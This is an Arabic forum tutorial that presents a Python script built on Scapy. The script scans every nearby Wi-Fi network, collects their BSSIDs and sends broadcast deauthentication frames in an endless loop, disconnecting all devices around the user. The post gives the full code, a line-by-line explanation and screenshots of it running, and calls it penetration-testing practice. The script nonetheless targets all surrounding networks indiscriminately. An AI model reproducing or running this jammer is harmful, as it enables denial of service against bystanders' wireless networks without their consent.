x32x01
  • بواسطة x32x01 ||
إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية
ففي الأيام الأخيره يتحدث الكثيرين على العديد من الأشياء التي يُمكن أن نقوم ببرمجتها بإستخدام لغة Python
والتي بالتأكيد تتعلق بمجال أمن المعلومات وإختبار الإختراق
حيث أن مختبري الإختراق المحترفين يقومون ببرمجة العديد من الأدوات الخاصة به والتي يستخدمها في عمليات الإختبار المُختلفة
حيث بالتأكيد تساعده على فهم للعملية التي يقوم بها ، وتمكنه من خيارات عديده في عملية التعديل عليها وإضافة خواص تساعدة في هذه العملية أو الوظيفة التي يقوم بها بشكل أساسي في إختبار الإختراق مهما إختلفت طبيعتها.

إستخدام Python في التشويش
واليوم سوف نتكلم عن موضوع شيق ورائع، حيث سنتعرف على كيفية إستخدام Python في برمجة سكربت للتشويش على الشبكات وسنقوم بعمل أداة بسيطة جدا لتقوم بالتشويش على الشبكات المُحيطة بك وفصل الأجهزة المُتصلة بهذه الشبكة مع العلم أنه توجد بعض الأدوات التي تقوم بذلك بشكل تلقائي

واليوم سوف نقوم ببرمجة سكربت يقوم بهذه العملية ، حيث سنقوم بالتشويش على جميع الشبكات المُحيطة بك بضغطة زر واحده عن طريق إستخدام إسكربت تمت برمجته بإستخدام لغه بايثون Python
إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية
اولا يجب أن تفهم ألية وطريقه عمل فكرة التشويش وكيف تستطيع قطع إتصال الأجهزة الموجوده حولك بكل سهولة حتى تستطيع إستخدام Python في برمجة سكربت للتشويش

فكما نعلم أنه عندما تريد فصل الإتصال الخاص بك يجب أن تقوم بإرسال طلب للراوتر تخبره بأنك تريد قطع الإتصال ، وهُنا سوف نقوم بعمل إنتحال للـماك أدرس MAC Address للجهاز المتصلين بالشبكة والذي نُريد أن نقوم بالتشويش عليه

حيث سوف نرسل Deauthentication packet مزيفة من الجهاز الخاص بنا تحتوي على عنوان الماك الخاص بالجهاز الذي سوف نقوم بالتشويش عليه ، وأيضاً عنوان الماك الخاص بالروتر الذي سوف يستقبل هذا الطلب.

يمكنك تحميل الإسكربت من موقع Github من خلال هذا الرابط من هنا
Python:
from scapy.all import *
from wifi import Cell
import time
import wireless

wifi1 = wireless.Wireless()
interface = wifi1.interface()

all_wifi = Cell.all(interface)
#print "SSID\t BSSID\t Channel\t Power\t"
print "[+] scannig for networks .."
bssid = []
time.sleep(2)
for wi in all_wifi:
 print "SSID is    : "  +    wi.ssid
 print "BSSID is   : "  +    wi.address
 print "Channel is : "  +    str(wi.channel)
 print "Quality is : "  +    str(wi.quality)
 print "+" * 20
 bssid.append(wi.address)
 time.sleep(0.5)

print "#" * 70

def jam(address):
 conf.iface = "mon1"
 bssid = address   
 client = "FF:FF:FF:FF:FF:FF" #
 count = 3
 conf.verb = 0
 packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
 for n in range(int(count)):
    sendp(packet)
        print 'Deauth num '+ str(n)  +  ' sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client
while True:
 for item in bssid:
  print "Jamming on : {0}".format(item)
  jam(item)
توضيح :
أولاً سوف نحتاج جمع جميع الشبكات بشكل أوتوماتيكي لغرض التعرف عليها ، بعد ذلك سوف نقوم بجمع عناوين Bssid الخاصة بجميع الشبكات ووضعها كلاً على حده لكي نقوم بالتواصل معها

لأنه كما ذكرت فنحن نحتاج عنوان الماك الخاص بالشبكة لكي نقوم بإرسال الحزمة المزوره لها ، بعد ذلك سوف نحتاج لضبط كارت الوايرليس الخاص بنا على Monitor Mode ، بعدها سوف نقوم بتجهيز الحزمة حيث سوف نقوم بإستخدام باكيت Scapy في هذه العمليه

بعد تجهيز الحزمة ستقوم أخيراً بإرسالها بعدد معين إلى جميع الشبكات لنضمن قيامها بفصل

جميع الأجهزة الموجوده بالشبكه من خلال عمل Brodcast وبث الحزم لجميع الأجهزة المُتصلة وبهذا نكون قد فصلنا جميع الأجهزة المُتصلة حولنا وقمنا بالتشويش عليها.

شرح الإسكربت :
في بداية السكربت من السطر 9 إلى السطر 12 نقوم بإستدعاء المكتبات التي سوف نحتاجها وهي :


المكتبات المستخدمه :-
  • مكتبه Scapy :- لإعداد الحزمة المراده وإرسالها
  • مكتبه wifi :- لإظهار جميع الشبكا
  • مكتبه time :- لضبط أمور التوقيتات
  • مكتبه wireless :- سوف نحتاجها في عملية كشف interfaces الموجوده بالجهاز.
السطر 14 و 15 نقوم بمعرفة الواجهه الرئيسيه حيث سوف نقوم بإستخدامه في عملية جمع المعلومات الخاصة بالشبكات الموجوده حولنا
السطر 17 نقوم بإستخدام طريقه Cell.all لكي نقوم بجمع جميع الشبكات المُحيطة بنا وتخزينها
على شكل قائمه حتى يتم التعامل مع كل شبكة
السطر 19 نقوم بطباعة الجُملة كما نرى ، والسطر 20 نقوم بعمل قائمه إسمها bssid وسوف
نقوم بوضع جميع عناوين bssid الخاصة بِكُل شبكة

والسطر 21 نقوم بتأخير تنفيذ السطر التالي لمُدة ثانيتين من خلال time.sleep ومن السطر 22 إلى السطر 29 نقوم بتمرير جميع الشبكات التي وجدناها وبالسطر 17 والتعامل مع كُل شبكة على حدى

حيث نطبع عنوان ssid وعنوان bssid والقناة وكذلك قوة وجودة الإتصال مع الشبكة ، وبالسطر 28

نقوم بعمل إضافه على bssid list حيث نقوم بإضافة عنوان bssid الخاص بالشبكة داخلها

الأن أصبح لدينا قائمه كاملة بجميع عناوين الــ bssid الخاصة بالشبكات ، حيث سوف نقوم بإستخدامها للتواصل مع الشبكة وإرسال حزمة Deauthentication لها

بعد ذلك بالسطر 33 قمنا بتعريف Function حيث قمنا بتسميتها بـ Jam حيث تأخذ المتغير

address والذي بطبيعة الحال سوف يكون هو عنوان bssid الذي جمعناه ووضعناه داخل bssid List

السطر 34 نقوم بتعريف كارت الوايرليس أو “interface” والذي يجب أن يكون مفعل بوضعية Monitor Mode وفي حالتنا هو mon1 ،

بعد ذلك قمنا بتعريف bssid على أنه المُتغير الذي تأخذه الدالة Jam ، ويليه المُتغير Client حيث

هو عنوان Mac Address الخاص بالهدف ، ونستطيع إستخدام “FF:FF:FF:FF:FF:F” لعمل Broadcast كما ذكرنا

في السطر 37 قُمنا بتعريف المُتغير count المسؤول عن عدد الحزم التي سوف يتم إرسالها للشبكة الواحده ،

حيث انه تم تحديد 3 حُزم فقط ، وبالسطر 38 قمنا بضبط Scapy verbose بالقيمة 0 لكي لا يتم

عرض أي معلومات من قبل Scapy على الشاشة
في السطر 39 نقوم بتجهيز المُتغير packet بالحزمة المراده وضبطها وإعدادها بشكل عام لكي

تقوم بإرسال Deauthentication packet من وإلى العناوين التي تكلمنا عنها

ويمكنك الإطلاع على Scapy أكثر للك تتعرف على الكثير من الأمور حول هذا الموضوع ومواضيع

أخرى متعلقه بالتعامل مع الشبكات من خلال Scapy

من السطر 40 وإلى السطر 42 نقوم بعمل حلقة بعدد الشبكات التي تم إكتشافها ومن ثم نقوم

بإستخدام sendp في السطر 41 لإرسال packet التي تم تعريفها مُسبقاً من خلال المُتغير packet ،

حيث سوف ترسل الحزمة بناءاً على ما سبق ، والسطر 42 يقوم بطباعة المعلومات التي تم الإرسال إلي الشبكه

وأخيراً من السطر 43 إلى السطر 46 نقوم بتشغيل while loop مُستمرة ، ونقوم بسحب جميع

عناوين Bssid الخاصة بالشبكات من خلال تعريف مُتغير item وسحبها بإستخدام for loop من

Bssid List وفي السطر الاخير 46 نقوم بإستدعاء الدالة Jam وتمرير المُتغير item كعنوان bssid وتنفيذ ما سبق عليه.

صور توضح ماذا يحدث عند تشغيل الإسكربت :
وكما نرى بهذه الصورة فور تشغيل البرنامج قام بإظهار جميع الشبكات الموجوده بالقرب منك
jammer-first-network-.png
وهذه الصورة توضح كذلك بأنه يتم إرسال الحزم بشكل صحيح إلى الهدف :
jammer-done.png
وإلى هنا نكون قد وصلنا إلى نهايه موضوعنا اليوم والذي كان بعنوان إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية

وإذا أعجبك موضوع إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية
فلا تبخل علينا بمشاركته على مواقع التواصل الإجتماعي لليستفيد منه غيرك​
 
الوسوم : الوسوم
التشويش على الشبكات التشويش على الشبكات اللاسلكية سكريبت بايثون

الدخول أو التسجيل السريع

نسيت كلمة مرورك؟

آخر المشاركات

أحدث المنتجات

إحصائيات المنتدى

المواضيع
1,424
المشاركات
1,587
أعضاء أكتب كود
174
أخر عضو
omega-tron
عودة
أعلى